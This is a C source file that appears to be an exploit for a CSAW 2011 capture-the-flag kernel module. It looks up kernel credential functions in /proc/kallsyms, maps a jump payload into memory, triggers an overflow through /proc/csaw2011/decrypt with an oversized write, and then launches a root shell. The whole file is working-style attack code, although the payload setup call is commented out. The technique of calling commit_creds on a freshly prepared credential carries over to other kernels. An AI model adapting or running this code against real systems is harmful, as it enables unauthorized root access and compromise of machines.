#include <stdio.h>
#include <string.h>

#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#define SIZE            1 + sizeof(void *)

/* How many recursive calls until we overwrite the function pointer in thread_info/ */
#define EVIL_DEATH_SPIRAL       180

/* The value the function pointer is overwritten with. */
#define ADDR                    0xa7744e8c

struct cred;
struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon);
typedef int (*commit_creds_t)(struct cred *new);

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

/* Find a kernel symbol in /proc/kallsyms */
void *get_ksym(char *name) {
    FILE *f = fopen("/proc/kallsyms", "rb");
    char c, sym[512];
    void *addr;
    int ret;

    while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
        if (!strcmp(sym, name))
            return addr;
    return NULL;
}

/* This function will be executed in kernel mode. It has the effect of granting
 * this process root. */
void get_root(void) {
        commit_creds(prepare_kernel_cred(0));
}

FILE *
open_file(char *filename)
{
        FILE *fp;

        fp = fopen(filename, "w");
        if (!fp)
                err(1, "fopen");

        return fp;
}

void
pop_shell(void)
{
        if (getuid() == 0) {
                char *args[] = {"/bin/sh", "-i", NULL};
                execve("/bin/sh", args, NULL);
        }
        errx(1, "failed to get root");
}

/* If we overwrite the pointer with an address in kernel space,
 * then change our key!
 */
void
set_rounds(int rounds)
{
        FILE *fp = open_file("/proc/csaw2011/key");

        fprintf(fp, "FFFFFFFFFFFFFFFF\t%d\n", rounds);

        fclose(fp);
        printf("[+] Rounds set successfully\n");
}

void
trigger_vuln(void)
{
        FILE *fp = open_file("/proc/csaw2011/decrypt");
        fprintf(fp, "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
        fclose(fp);

        syscall(0);
}

/* This function just does:
 * asm("mov $get_root, %eax; jmp *%eax;");
 *
 * The format of these instructions is:
 * mov addr, %eax       => b8 little_endian(addr)
 * jmp *%eax            => ff e0
 */
void
generate_shellcode(char *buf)
{
        long *p;

        *buf++ = '\xb8';

        /* mov $get_root, %eax */
        p = (long *)buf;
        *p = (long)&get_root;
        buf += sizeof(long *);

        /* jmp eax */
        *buf++ = '\xff';
        *buf++ = '\xe0';
}

void
setup_payload(unsigned addr)
{
        /* asm(mov $addr, %eax; jmp *%eax); is 7 bytes wide */
        unsigned size = 7;

        unsigned round_addr = addr & PAGE_MASK;
        unsigned diff       = addr - round_addr;
        unsigned len        = (size + diff + (PAGE_SIZE - 1)) & PAGE_MASK;

        char *buf = mmap((void *)round_addr, len, PROT_READ|PROT_WRITE|PROT_EXEC,
                        MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);

        if (buf == MAP_FAILED)
                err(1, "mmap");

        generate_shellcode(buf + diff);
        printf("[+] Payload set\n");
}

void
hide_and_seek(void)
{
        prepare_kernel_cred     = get_ksym("prepare_kernel_cred");
        commit_creds            = get_ksym("commit_creds");

        if (!(prepare_kernel_cred && commit_creds))
                errx(1, "couldn't map kernel symbols");

        printf("[+] prepare_kernel_cred: %p\n[+] commit_creds: %p\n", prepare_kernel_cred,
                commit_creds);
}

int
main(void)
{
        /* Map out kernel structures. */
        hide_and_seek();

        /* Set the number of rounds to a malicious value. */
        set_rounds(150);

        /* Place our payload at the memory location the kernel will dereference. */
     //   setup_payload(ADDR);

        /* Make the kernel dereference our memeory. */
        trigger_vuln();

        /* Give ourselves a root shell. */
        pop_shell();

        return 0;
}
